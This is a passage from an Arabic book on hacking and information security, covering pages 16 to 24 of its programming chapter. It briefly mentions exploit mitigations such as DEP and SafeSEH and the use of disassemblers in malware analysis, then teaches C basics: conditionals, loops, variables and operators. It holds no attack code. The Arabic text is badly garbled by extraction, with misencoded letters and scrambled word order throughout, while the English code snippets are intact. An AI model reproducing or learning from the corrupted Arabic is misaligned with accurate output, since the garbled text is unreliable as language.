‫تطوي‬ ‫تم‬
‫تقنيات‬ ‫ر‬
‫ملنع‬ ‫أمنية‬
‫او‬ ُ
‫حم‬
‫ذه‬َ‫ذ‬ ‫ب‬ُ‫ع‬‫َال‬‫ت‬‫ال‬ ‫الت‬
‫نها‬‫م‬ ،
SafeSEH
‫وال‬ ،
Nonexecutable Stack
‫ال‬ ‫أو‬
Randomized Stack Space
،
‫و‬
‫قامت‬
‫مايكروسوقت‬
‫شهرية‬ ‫تقنية‬ ‫بتطوير‬
..
‫ذي‬
“DEP”
،
‫التقنيات‬ ‫من‬ ‫وغريذا‬
‫يف‬ ً‫ا‬‫الحق‬ ‫ناقشتها‬ُ‫م‬ ‫جري‬َ‫ي‬‫س‬ ‫التي‬ ‫األمنية‬
‫الثالث‬ ‫الباب‬
.‫اهلل‬ ‫بإذن‬
..!‫رائع‬ ‫ذذا‬
‫ال‬ ‫ة‬َ‫غ‬ُ‫ل‬ ‫ن‬‫م‬ ‫َستفيد‬‫ن‬ َ
‫س‬ ‫ماذا‬ ‫ولكن‬
Assembly
..
‫؟‬
،
‫ال‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ َ
‫س‬ ‫ققط‬ ‫ُنا‬‫ك‬ ‫لذا‬
Compiler
‫لىل‬ ‫ُريد‬‫ن‬‫ما‬ ‫ة‬َ َ
‫رتمج‬‫ل‬
‫ال‬
Machine Language
.!‫األمر‬ ‫وينتهي‬
‫ة‬َ‫غ‬ُ‫ل‬‫ل‬ ‫اخلصائص‬ ‫بعض‬ ‫أوضح‬ ‫دعني‬ ‫ولكن‬ ،‫منطقي‬ ‫ذذا‬ ..‫نعم‬
‫ال‬
Assembly
‫وا‬
‫أمهيتها‬ ‫ك‬َ‫وحد‬ ‫َعي‬‫ت‬ ‫َجعلك‬‫ت‬ َ
‫س‬ ‫لتي‬
.

‫ال‬
Assembly
ُ‫ت‬
َ‫ق‬‫ري‬َ‫ط‬ َ
‫عترب‬
‫ة‬
‫َخ‬‫ت‬‫يس‬
‫ال‬ ‫عراض‬‫الست‬ ‫ني‬‫ربجم‬ُ‫مل‬‫ا‬ ‫ها‬ُ‫م‬‫د‬
"
Machine Language Instructions
"
‫ال‬ ‫لىل‬ ‫لعطاؤذا‬ ‫َم‬‫ت‬ ‫التي‬
CPU
.

‫ال‬
Assembly
‫القة‬َ‫ع‬‫ب‬ ‫تتعامل‬
One-to-One
‫ال‬ ‫مع‬
Machine Language
‫ُل‬‫ك‬‫ل‬ ‫أنه‬ ‫بمعنى‬ ،
Instruction
‫ال‬ ‫غة‬ُ‫ل‬‫ب‬
Machine
‫لها‬‫قاب‬ُ‫ي‬
Instruction
‫ال‬ ‫ة‬ُ‫غ‬ُ‫ل‬‫ب‬
Assembly
‫ريق‬َ‫ط‬‫ب‬ ُ‫ه‬‫ح‬‫يوض‬
‫ة‬
‫ال‬ ‫تعامل‬َ‫ي‬ َ
‫َيف‬‫ك‬ ‫َفهم‬‫ت‬‫ل‬ ‫أسهل‬
CPU
‫ثال‬‫َم‬‫ك‬‫و‬ ،!‫عليه‬ ‫ل‬َ‫عم‬َ‫ي‬ ‫الذي‬ ‫الربنامج‬ َ‫ع‬َ‫م‬ ‫عل‬‫الف‬‫ب‬
..
"
0xc3
"
‫أو‬
11000011
‫اآلل‬ ‫غة‬ُ‫ل‬‫ب‬
‫ة‬
‫بال‬ ُ‫ه‬‫قابل‬ُ‫ي‬
Assembly
‫ذذه‬
:‫ة‬َ‫م‬‫َل‬‫ك‬‫ال‬
"
ret
"
‫عنى‬َ‫م‬‫ب‬
(return)
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[16]
‫األمر؟‬ ‫ذذا‬ ‫ُطبق‬‫ن‬ َ
‫وكيف‬
‫ى‬ّ‫سم‬ُ‫ي‬ ‫ما‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ ‫نا‬ُ‫ذ‬
‫بال‬
Disassembler
‫ال‬ ‫ترمجة‬ ‫بإعادة‬ ‫يقوم‬ ‫والذي‬
Machine Language
‫ال‬ ‫لغة‬ ‫لىل‬
Assembly
‫والتحليل‬ ‫الفهم‬ ‫ل‬ُ‫ه‬‫س‬َ‫ي‬ ‫كي‬
.
‫تأمل‬
‫معي‬
‫مغزى‬ ‫لك‬ ‫ستوضح‬ ‫الصورة‬ ‫ذذه‬
‫األمر‬
..
‫توضح‬ ‫الصورة‬ ‫ذذه‬
‫لنا‬
‫به‬ ‫مايقوم‬
‫كل‬
‫من‬
‫ال‬
malware author
‫بلغه‬ ‫أكواده‬ ‫يكتب‬ ‫حيث‬
‫ال‬ ‫مثل‬
C
‫ال‬ ‫عمل‬ ‫يرتكز‬ ‫بينام‬ ،
malware
analyst
‫وتدقيق‬ ‫قحص‬ ‫يف‬
‫ال‬
instructions
‫ال‬ ‫أو‬
software behavior
‫ال‬ ‫باستخدام‬
Hex Auditors
‫كال‬
IDA Pro
.‫وغريذا‬
‫عىل‬ ‫الرتكيز‬ ‫ذو‬ ‫الشكل‬ ‫ذذا‬ ‫ن‬‫م‬ ُ‫ه‬‫ُريد‬‫ن‬ ‫ما‬
‫ن‬‫م‬ ٍ‫ُل‬‫ك‬ ‫وظيفة‬
‫ال‬
Compiler
‫ال‬ ‫و‬
Disassembler
.
‫ذ‬ ‫كان‬ ‫والتي‬ ،‫قدمة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫هاية‬‫ن‬‫ل‬ ‫وصلنا‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
‫دقها‬
‫الربجم‬ ‫أمهية‬ ‫إلدراك‬ ‫حتفيزك‬
‫ة‬
..!
‫ذلك؟‬ ‫أدركت‬ ‫ذل‬
،
..!‫جيد‬
‫ذيا‬
‫الربجم‬ ‫أساسيات‬ ‫برشح‬ ‫لنبدأ‬ ً‫ا‬‫لذ‬
‫ة‬
‫ال‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ب‬
C
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[17]
Control Structures
‫الطبيعي‬ ‫من‬
َ‫موع‬ َ
‫جم‬ ‫ن‬‫م‬ ‫يتكون‬ ‫الربنامج‬ ‫أن‬
‫ة‬
‫ال‬ َ‫ن‬‫م‬
Instructions
‫ظهرت‬ ‫لذا‬ ‫العمل‬ ‫ما‬ ‫ولكن‬ ،ً‫ا‬‫باع‬‫ت‬ ‫تنفيذذا‬ ‫يتم‬ ‫التي‬
‫اخليارات‬ ‫بعض‬
‫م‬‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫مع‬ ‫التعامل‬ ‫أثناء‬ ‫العقبات‬ ‫أو‬
‫احليا‬ ‫واقع‬ ‫ن‬‫م‬ ‫ثال‬‫م‬ ‫ب‬‫َرض‬‫ن‬‫ل‬ ‫؟‬
‫ة‬
‫للسيار‬ ‫تك‬َ‫د‬‫يا‬‫ق‬ ‫أثناء‬ َ
‫أنت‬ ،
‫ة‬
،
‫ال‬ ‫تفعيل‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬
GPS
‫قيقوم‬
َ‫ه‬‫ج‬‫للو‬ ‫د‬‫د‬َ ُ
‫حم‬ ‫سار‬َ‫م‬ ‫م‬‫س‬ َ‫ر‬‫ب‬
‫ة‬
‫الشوارع‬ ‫أحد‬ ‫وجدت‬ ‫أو‬ ‫طاطئ‬ ‫طريق‬ ‫يف‬ َ
‫ت‬‫ِس‬ ‫لذا‬ ‫ولكن‬ ،
‫ال‬ ‫قسيقوم‬ ‫مسدوده‬
GPS
‫ال‬ ‫بتغيري‬
Route
‫ا‬ ‫عىل‬
‫نس‬ ً‫ا‬‫أيض‬ ُ‫َحن‬‫ن‬ ،!‫لفور‬
َ َ
‫جم‬ َ
‫الرب‬ ‫يف‬ ‫التكنيك‬ ‫نفس‬ ‫م‬‫َخد‬‫ت‬
‫ة‬
‫ط‬َ‫خ‬‫ب‬ ‫م‬‫ك‬َ‫َح‬‫ت‬َ‫ن‬َ‫ق‬ ،
‫ال‬ ‫ري‬ َ
‫س‬
Instructions
‫ُق‬‫ن‬ ‫ا‬‫مل‬ ً‫ا‬‫قق‬‫و‬
.‫ف‬‫وق‬َ‫مل‬‫ا‬ ‫يه‬‫قتض‬َ‫ي‬ ‫ا‬‫ومل‬ ‫ه‬‫ر‬ ِّ‫ر‬
‫ال‬ ‫بعض‬ ‫عن‬ ‫سنتكلم‬
Statements
‫ال‬ ‫بعمل‬ ‫تقوم‬ ‫التي‬
"
Control
"
‫ام‬ َ
‫للرب‬
‫السياره‬ ‫قيادة‬ ‫ثال‬‫م‬ ‫َطبيق‬‫ت‬‫ب‬ ‫ج‬
.
If-Then-Else
‫دع‬
‫أن‬ ‫نتصور‬ ‫نا‬
‫نا‬
‫ن‬
‫سري‬
‫يف‬
‫رئييس‬ ‫شارع‬
..

‫قإن‬
(If)
‫الشارع‬ ‫يف‬ ‫اإلصالحات‬ ‫بعض‬ ‫تواجد‬ َ
‫صادف‬
(Condition)
..

ً‫ا‬‫لذ‬
(Then)
،
‫ال‬ ‫بعض‬ ‫بتنفيذ‬ ‫سنقوم‬
Instructions
!‫ق‬‫العائ‬ ‫ذذا‬ ‫تفادي‬‫ل‬
..

‫ذلك‬ ‫غري‬
(Else)
،
‫اإلصالحات‬ ‫ف‬‫ُصاد‬‫ت‬ ‫مل‬ ‫طاملا‬ ‫سريك‬ ‫باستكامل‬ ‫م‬ُ‫ق‬
.(Condition)
If (condition) then
{
Set of instructions to execute if the condition is met;
}
Else
{
Set of instruction to execute if the condition is not met;
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[18]
While/Until Loop
‫أحي‬
‫جمموع‬ ‫تنفيذ‬ ‫ربمج‬ُ‫مل‬‫ا‬ ‫ريد‬ُ‫ي‬ ً‫ا‬‫ان‬
‫ة‬
‫ال‬ ‫من‬
Instructions
‫مر‬ ‫من‬ ‫أكثر‬
‫ة‬
،!
‫ال‬ ‫له‬ ‫تضع‬ ‫أن‬ ‫وستحتاج‬
Condition
‫التي‬
‫س‬
‫ي‬
‫التكرار‬ ‫بتنفيذ‬ ‫عليها‬ ً‫ء‬‫بنا‬ ‫قوم‬
.
:‫املثال‬ ‫ذذا‬ ‫لنأطذ‬
"
‫لذ‬ ،‫اجلوع‬ ‫أصابك‬ ‫لن‬
‫التهم‬ ‫ثم‬ ‫الطعام‬ ‫عىل‬ ‫واحصل‬ ‫ذب‬
‫ة‬
"
..
‫الثاين‬ ‫القوس‬ ‫ينتهي‬
({)
‫ال‬ ‫قيعود‬
Pointer
‫الب‬ ‫لىل‬
‫داية‬
‫أطرى‬ ً‫ة‬‫مر‬ ‫الرشط‬ ‫من‬ ‫قيتحقق‬
..
‫جائع؟‬ ‫الزلت‬ ‫ذل‬
..
‫الدال‬ ‫ج‬‫طار‬ ‫ج‬ ُ‫َخر‬‫ن‬ َ
‫س‬ ً‫ا‬‫لذ‬ ،!‫ال‬
‫ة‬
.
While (you are hungry)
{
Find some food;
Eat the food;
}
‫الكوب‬ ‫عىل‬ ‫املكتوب‬ ‫الكود‬ ‫داللة‬ ‫قهمت‬ ‫ذل‬ ..‫واآلن‬
‫صفحة‬ ‫يف‬ ‫املوجود‬
‫الباب؟‬ ‫ذذا‬ ‫عنوان‬
.
‫دالة‬
Until
‫ال‬ ‫نفس‬ ‫ذي‬
While
:‫أنه‬ ‫أي‬ ،!‫معكوس‬ ‫برشط‬ ‫ولكن‬
‫باألكل‬ ‫استمر‬ ،!‫بعد‬ ‫تشبع‬ ‫مل‬ ‫أنك‬ ‫لطاملا‬
.
Until (you are not hungry)
{
Find some food;
Eat the food;
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[19]
For Loop
‫اخلطوات‬ ‫ذذه‬ ،‫ططوات‬ ‫ة‬ّ‫د‬‫ع‬‫ب‬ ‫بالقيام‬ ‫الربنامج‬ ‫ُخرب‬‫ن‬ ‫كأن‬ .‫ات‬ ّ‫ر‬َ‫مل‬‫ا‬ َ‫ن‬‫م‬ ‫د‬َ‫د‬َ‫ع‬‫ل‬ ‫ما‬ ٍ‫يشء‬ ‫تكرار‬‫ل‬ ‫احلاجه‬ ‫عند‬ ً‫ا‬‫أيض‬ ‫نستخدمها‬
.‫الداله‬ ‫من‬ ‫باخلروج‬ ‫سيقوم‬ ‫املرات‬ ‫عدد‬ ‫انتهاء‬ ‫وبعد‬ .‫ِبا‬ ‫ه‬ُ‫ُخرب‬‫ن‬ َ
‫س‬ ‫ات‬ ّ‫ر‬َ‫مل‬‫ا‬ ‫ن‬‫م‬ ‫د‬َ‫د‬َ‫ع‬‫ل‬ ‫َررذا‬‫ك‬ُ‫ي‬ َ
‫س‬
‫ثال‬‫م‬ ‫ماييل‬
‫ذذه‬ ‫لتوضيح‬
‫الدال‬
‫ة‬
ٍ‫كل‬ ‫باستخدام‬ ‫تطبيقه‬‫ب‬ ‫نقوم‬ َ
‫س‬ ،‫رتات‬‫م‬ ‫كيلو‬ ‫ة‬ َ
‫س‬ َ
‫َخ‬ ‫ساقة‬َ‫مل‬ ‫ة‬َ‫ب‬َ‫ك‬‫ر‬َ‫مل‬‫ا‬ ‫قيادة‬‫ل‬ ‫األمر‬ ‫عطي‬ُ‫ي‬ ‫كود‬ ‫ن‬َ‫ع‬ ‫باره‬‫ع‬ ،
‫ن‬‫م‬
While
‫و‬
For
.
For (5 iterations)
Drive straight for 1 mile;
‫مل‬ ‫بالسري‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ،‫واحد‬ ‫ميل‬ ‫ة‬َ‫ق‬‫سا‬َ‫مل‬ ‫السياره‬ ‫يادة‬‫ق‬‫ب‬ ‫َقوم‬‫ت‬ َ
‫س‬ ‫نا‬ُ‫ذ‬
‫امليل‬ ‫لىل‬ ‫تصل‬ ‫أن‬ ‫لىل‬ ‫وذكذا‬ ،‫ثالث‬ ‫ميل‬ ‫م‬ُ‫ث‬ ،‫آطر‬ ‫يل‬
.‫اخلامس‬
‫ال‬ ‫غة‬ُ‫ل‬‫ب‬ ‫الدالة‬ ‫شكل‬ ‫ذذا‬
C
:
For (i=0; i<5; i++)
Drive straight for 1 mile;
ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫س‬
‫كيف‬
‫ن‬
..ً‫ا‬‫الحق‬ ً‫ا‬‫كثري‬ ‫سيتكرر‬ ‫ألنه‬ ،‫الكود‬ ‫ذذا‬ ‫قرأ‬
‫بقيمة‬ ‫ل‬ ُ
‫ط‬‫َد‬‫ت‬ َ
‫س‬
(i = 0)
‫قيمة‬ ‫قتزداد‬ ،‫واحد‬ ‫ميل‬ ‫ملساقة‬ ‫تقود‬ ‫ثم‬
i
‫قيكون‬ ،‫بواحد‬
(
i = 1
)
‫بالرقم‬ ‫ُقارنه‬‫ت‬ ‫ثم‬ ،
5
‫ذو‬ ‫ذل‬ ،
‫بتنفيذ‬ ‫قم‬ ‫ثم‬ ،‫آطر‬ ‫ميل‬ ‫مساقة‬ ‫لتقود‬ ‫اذذب‬ ،!‫نعم‬ ،‫أصغر؟‬
i++
‫قيكون‬
(
i = 2
)
‫بالرقم‬ ُ‫ه‬‫ن‬‫قار‬ ‫واآلن‬ ،
5
‫للقياد‬ ‫د‬ُ‫ع‬ ‫ثم‬ ،
‫ة‬
،
‫قيمة‬ ‫تكون‬ ‫أن‬ ‫لىل‬ ‫استمر‬
i
‫تساوي‬
5
‫بالرشط‬ ‫ُقارهنا‬‫ن‬‫ق‬ ،
(
i < 5
)
‫ال‬ ‫طارج‬ ‫قنخرج‬ ،!‫يتحقق‬ ‫مل‬ ‫أنه‬ ‫قنجد‬
.‫دالة‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[20]
‫باستخدام‬ ‫الرشط‬ ‫نفس‬ ‫ق‬ّ‫ب‬‫ُط‬‫ن‬‫س‬ ‫واآلن‬
While
Set the counter to 0;
While (the counter is less than 5)
{
Drive straight for 1 mile;
Add 1 to the counter;
}
( ‫العداد‬ ‫بتصفري‬ ‫سنقوم‬ ‫نا‬ُ‫ذ‬
0
( ‫ليصبح‬ ‫واحد‬ ‫بقيمة‬ ‫العداد‬ ‫وزيادة‬ ،‫واحد‬ ‫ميل‬ ‫ملساقة‬ ‫القيادة‬ ‫ثم‬ ،)
1
‫الع‬ ‫ثم‬ )
‫و‬
‫د‬
‫ة‬
‫للدالة‬
‫ب‬ ‫الرقم‬ ‫ومقارنة‬
5
( ‫ليصبح‬ ‫العداد‬ ‫وزيادة‬ ‫آطر‬ ‫ميل‬ ‫بمساقة‬ ‫للسري‬ ‫قنعود‬ ،‫أقل‬ ‫أنه‬ ‫قنجد‬
2
‫الوصول‬ ‫حتى‬ ‫وذكذا‬ )
( ‫للرقم‬
4
.‫النهاية‬ ‫قتكون‬ )
Variables
‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫لناء‬ ‫عن‬ ‫عبارة‬ ‫ذو‬ ‫املتغري‬
َ‫د‬ّ‫د‬ ُ
‫حم‬ ‫ة‬َ‫يم‬‫ق‬ ‫بداطله‬ ‫ع‬ َ
‫َض‬‫ن‬ ‫أن‬
‫ة‬
‫استخدام‬ ‫قبل‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫نوع‬ ‫حتديد‬ ‫من‬ ‫د‬ُ‫ب‬‫ال‬ ،
‫شابه‬ُ‫م‬ ‫ذذا‬ ،‫ه‬
‫حيتفظ‬ ‫ال‬ ‫ربام‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ .‫عليها‬ ‫ه‬َ‫ق‬ َ
‫لص‬ُ‫مل‬‫ا‬ ‫الصور‬ ‫أو‬ ‫الكتابة‬ ‫بوجود‬ ‫متييزذا‬ ‫نستطيع‬ !‫والعصائر‬ ‫املرشوبات‬ ‫جاجات‬ ُ‫لز‬
‫لفظة‬ ‫عليه‬ ‫لطالق‬ ‫قتم‬ ،‫منها‬ ‫ح‬ َ‫ر‬‫َط‬‫ن‬ ‫أو‬ ،‫عليها‬ ‫اإلضاقة‬ ‫أو‬ ،‫َغيريذا‬‫ت‬ ‫مكننا‬ُ‫ي‬ ،‫األبد‬ ‫اىل‬ ‫بداطله‬ ‫القيمة‬ ‫ِبذه‬
"
‫متغري‬
"
‫ماييل‬ ،
‫املوج‬ ‫تعريفه‬
‫ز‬
‫اإلنجليزي‬ ‫باللغه‬
‫ة‬
:
“An object that holds data that can be changed”
‫َوعه‬‫ن‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬‫و‬ ِّ
‫ري‬َ‫غ‬َ‫ت‬ُ‫مل‬‫ا‬ ‫اسم‬ ‫ُر‬‫ك‬‫َذ‬‫ن‬ ‫أن‬ ‫علينا‬ ‫جيب‬ ،ً‫ا‬‫برجمي‬
(declare your Variable)
‫أرقام‬ ‫أو‬ ً‫ا‬‫حروق‬ ‫سيحوي‬ ‫كان‬ ‫لذا‬ ‫ما‬
ً‫ال‬‫مث‬
.
‫احلال‬ ‫كام‬ ،‫برناجمك‬ ‫داطل‬ ‫باستخدامه‬ ‫تقوم‬ ‫أن‬ ‫قبل‬ ‫ذلك‬ ‫يتم‬ ‫أن‬ ‫جيب‬
‫مع‬
‫ُر‬‫ك‬‫َذ‬‫ن‬‫و‬ ‫ف‬ ِّ‫ر‬َ‫ع‬ُ‫ن‬ ‫قنحن‬ ،‫الطبخ‬ ‫وصفات‬
.‫بالطهي‬ ‫الرشوع‬ ‫قبل‬ ‫وأنواعها‬ ‫بأسامئها‬ ‫قادير‬َ‫مل‬‫ا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[21]
‫ال‬ ‫داطل‬ ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫بتخزينها‬ ‫اجلهاز‬ ‫يقوم‬ ‫املتغريات‬ ‫ذذه‬
Memory
،
.‫بعد‬ ‫قيام‬ ‫بالتفصيل‬ ‫األماكن‬ ‫ذذه‬ ‫عن‬ ‫سنتكلم‬
‫ال‬ ‫أنواع‬ ‫بعض‬ ‫ماييل‬
variables
:
int (integer values)
float (decimal floating)
char (single character values)
‫نا‬ُ‫ذ‬
‫ن‬
‫ق‬
‫و‬
‫م‬
‫تغريين‬ُ‫م‬ ‫َعريف‬‫ت‬‫ب‬
a
‫و‬
b
‫َوعيهام‬‫ن‬ ‫تحديد‬‫ب‬ ‫منا‬ُ‫ق‬‫و‬
(
int
،)
‫سيكون‬ ‫كالذم‬ ‫أن‬ ‫أي‬
object
ُ‫ه‬‫نوع‬ ‫عدد‬ ‫ب‬‫يستوع‬‫ل‬
"
Integer
"
.‫حيح‬ َ
‫ص‬ ‫دد‬َ‫ع‬ ،‫عد‬َ‫ب‬ ُ‫ه‬‫ق‬‫ر‬‫َع‬‫ن‬ ‫ال‬
int a, b;
:‫بسيط‬ ‫مثال‬ ‫نأطذ‬‫ل‬
int a = 13, b;
float k;
char z = 'A';
k = 3.14;
z = 'w';
b = a + 5;
‫تغري‬ُ‫م‬ ‫بتعريف‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬
a
‫الرقم‬ ‫وذو‬ !ً‫ا‬‫سبق‬ُ‫م‬ ‫بداطله‬ ‫ما‬ ‫وحددنا‬
13
..
‫آطر‬ ‫تغري‬ُ‫م‬ ‫ددنا‬ َ‫ح‬ ‫م‬ُ‫ث‬
b
‫نوعه‬ ،
"
‫صحيح‬ ‫عدد‬
"
‫ن‬‫ولك‬
‫ه‬‫ل‬‫داط‬‫ب‬ ‫حويه‬َ‫ي‬ َ
‫س‬ ‫ما‬ ‫ُحدد‬‫ن‬ َ‫مل‬
..
‫آطر‬ ‫تغري‬ُ‫م‬ ‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬
k
‫نوعه‬
"
‫عرشي‬ ‫عدد‬
"
‫آطر‬ ‫متغري‬ ‫ثم‬ ،
z
‫بد‬ ‫سيحوي‬
‫اطله‬
‫ذو‬ ‫واحد‬ ‫حرف‬
A
..
‫املتغري‬ ‫داطل‬ ‫وضعها‬ ‫نود‬ ‫التي‬ ‫القيمة‬ ‫حددنا‬ ‫وبعدذا‬
k
‫وذي‬
3.14
..
‫تغري‬ُ‫للم‬ ‫تغيري‬ ‫بإجراء‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
z
‫احلرف‬ ‫وذو‬ ،‫بداطله‬ ‫ما‬ ‫استبدلنا‬ ‫حيث‬ ‫جديد‬ ‫من‬
A
..
‫ذو‬ ،‫آطر‬ ‫حرف‬ ‫منه‬ ً‫ال‬‫بد‬ ‫ووضعنا‬
w
..
‫أطربنا‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬
‫صديقنا‬
‫تغري‬ُ‫مل‬‫ا‬
b
‫قيم‬ ‫داطله‬ ‫ن‬ ِّ‫خز‬ُ‫ي‬ َ
‫س‬ ُ‫ه‬‫أن‬
‫املتغري‬ ‫ة‬
a
‫وذي‬
13
‫عدد‬ ‫عليها‬ ً‫ا‬‫زائد‬
5
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[22]
‫قيمة‬ ‫ستكون‬ ‫وبالتايل‬
b
‫النهاية‬ ‫يف‬
18

.
‫ال‬ ‫بعض‬ ‫لتوضيح‬ ‫اآلن‬ ‫سننتقل‬
Operators
.‫همة‬ُ‫مل‬‫ا‬
Arithmetic Operators
Operation Symbol Example
Addition + b = a + 5
Subtraction - b = a - 5
Multiplication * b = a * 5
Division / b = a / 5
Modulo reduction % b = a % 5
‫ال‬ ‫توضيح‬‫ب‬ ‫نقوم‬ َ
‫س‬
"
Mod
"
‫تغري‬ُ‫م‬ ‫ض‬‫َفر‬‫ن‬‫ل‬ ،‫ثال‬‫َم‬‫ك‬‫و‬ ،‫ة‬َ‫سم‬‫الق‬ ‫عملية‬ ‫لجراء‬ ‫بعد‬ ‫تبقية‬ُ‫مل‬‫ا‬ ‫القيمة‬ ‫وذو‬
a=13
‫وأردنا‬
‫عىل‬ ‫القسمة‬
5
‫الناتج‬ ‫قيكون‬
2
‫الرقم‬ ‫من‬ ‫ويتبقى‬
13
‫ذي‬ ..‫قيمة‬ ‫ذذه‬ ‫سمة‬‫الق‬ ‫عملية‬ ‫بعد‬
(
3
.)
(13%5 = 3)
‫االطتصارات‬ ‫بعض‬ ‫أيضا‬ ‫نستخدم‬
(Shorthand Expressions)
‫ال‬ ‫دالة‬ ‫يف‬ ‫املستخدمة‬ ‫تلك‬ ‫مثل‬ ‫الدوال‬ ‫بعض‬ ‫يف‬
For
ً‫ا‬‫دوم‬
i++
.
Full Expression Shorthand Explanation
i = i + 1 i++ or ++i Add 1 to the variable
i = i - 1 i-- or --i Subtract 1 from the variable
‫ال‬ ‫مع‬ ‫القات‬َ‫ع‬‫ال‬ ‫ذه‬َ‫ذ‬ ‫استخدام‬ ‫م‬‫ت‬َ‫ي‬ ‫ما‬َ‫ند‬‫وع‬
Arithmetic Operators
‫قتخت‬
‫ل‬ ً‫ا‬‫تبع‬ ‫النواتج‬ ‫لف‬
‫ستخدم‬ُ‫مل‬‫ا‬ ‫االطتصار‬ ‫نوع‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[23]
‫مثال‬
:
int a, b;
a = 5;
b = a++ * 6;
‫ن‬‫م‬ ً‫ال‬‫ك‬ ‫سيحوي‬ ‫ماذا‬
a
‫و‬
b
‫؟‬
:‫كالتايل‬ ‫الناتج‬ ‫سيكون‬ ..‫نعم‬
b = 30
a = 6
‫ملاذا؟‬
‫ألن‬
a++
‫بإضاقة‬ ‫الربنامج‬ ‫رب‬‫ُخ‬‫ن‬ ‫أننا‬ ‫تعني‬
1
‫املتغري‬ ‫قيمة‬ ‫لاىل‬
a
‫ولكن‬
"
‫بعد‬
"
‫العم‬ ‫لمتام‬
‫ل‬
‫احلسابية‬ ‫ية‬
!
.
:‫آطر‬ ‫ثال‬‫م‬ ‫لنستعرض‬
int a, b;
a = 5;
b = ++a * 6;
‫تغري‬ُ‫مل‬‫ا‬ ‫يمة‬‫ق‬ ‫تزداد‬ َ
‫س‬ ُ‫ه‬‫أن‬ ‫عني‬َ‫ي‬ ‫وذذا‬
a
"
‫قبل‬
"
:!‫الرضب‬ ‫ملية‬َ‫ع‬ ‫لجراء‬
a = a + 1;
b = a * 6;
‫قيمة‬ ‫تكون‬ ‫وبالتايل‬
b
‫النهاية‬ ‫يف‬
=
36
،
‫ويكون‬
(
a = 6
)
‫عي‬ُ‫م‬ ‫قيمة‬ ‫لضاقة‬ ‫اإلطتصار‬ ‫من‬ ‫كنوع‬ ً‫ا‬‫أيض‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬.. ،‫رائع‬ ‫ذذا‬
‫بالناتج‬ ‫واإلحتفاظ‬ ‫اجلمع‬ ‫بإجراء‬ ‫قيقوم‬ ،‫ما‬ ٍ‫تغري‬ُ‫مل‬ ‫نة‬
.‫األكواد‬ ‫يف‬ ً‫ا‬‫كثري‬ ‫استخدامها‬ ‫يتم‬ ،!‫الوقت‬ ‫نفس‬ ‫يف‬ ‫بداطله‬ ‫النهائي‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[24]
Full Expression Shorthand Explanation
i = i + 12 i+=12 Add some value to the variable.
i = i - 12 i-=12 Subtract some value from the variable.
i = i * 12 i*=12 Multiply some value by the variable.
i = i / 12 i/=12 Divide some value from the variable.
Comparison Operators
Condition Symbol Example
Less than < (a < b)
Greater than > (a > b)
Less than or
equal to <= (a <= b)
Greater than or
equal to >= (a >= b)
Equal to == (a == b)
Not equal to != (a != b)
‫نا‬‫ول‬َ‫ق‬ ‫عند‬
(a = 5)
،‫املثال‬ ‫سبيل‬ ‫عىل‬
..‫َعني‬‫ن‬ ُ‫َحن‬‫ن‬َ‫ق‬
‫ع‬ َ
‫ض‬
‫قيمة‬
5
ُ‫مل‬‫ا‬ ‫داطل‬
‫تغري‬
a
..
‫نكتب‬ ‫عندما‬ ‫بينام‬
(a = = 5)
‫قنحن‬ ،
‫تغري‬ُ‫مل‬‫ا‬ ‫لها‬‫م‬ َ
‫حي‬ ‫التي‬ ‫القيمة‬ ‫من‬ ‫ق‬ُ‫ق‬َ‫َح‬‫ت‬‫ال‬ ‫الربنامج‬ ‫من‬ ‫نطلب‬
a
‫كانت‬ ‫لذا‬ ‫ما‬
5
.‫ال‬ ‫أم‬
‫ذناك‬
symbol
‫استخدامه‬ ‫مكن‬ُ‫ي‬ ‫آطر‬
‫ال‬ ‫قبل‬ ‫فرده‬ُ‫م‬‫ب‬
condition
‫ال‬ ‫وذو‬
)!(
‫ويعني‬
"
Not
"
:‫كامييل‬
!(a < b) is equivalent to (a >= b)
‫ال‬ ‫مزي‬ َ‫ر‬‫ب‬ ‫م‬‫ه‬‫تام‬‫خ‬‫ب‬ ‫ونقوم‬
AND
‫وال‬
OR
:
Logic Symbol Example
OR || ((a < b) || (a < c))
AND && ((a < b) && !(a < c))
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
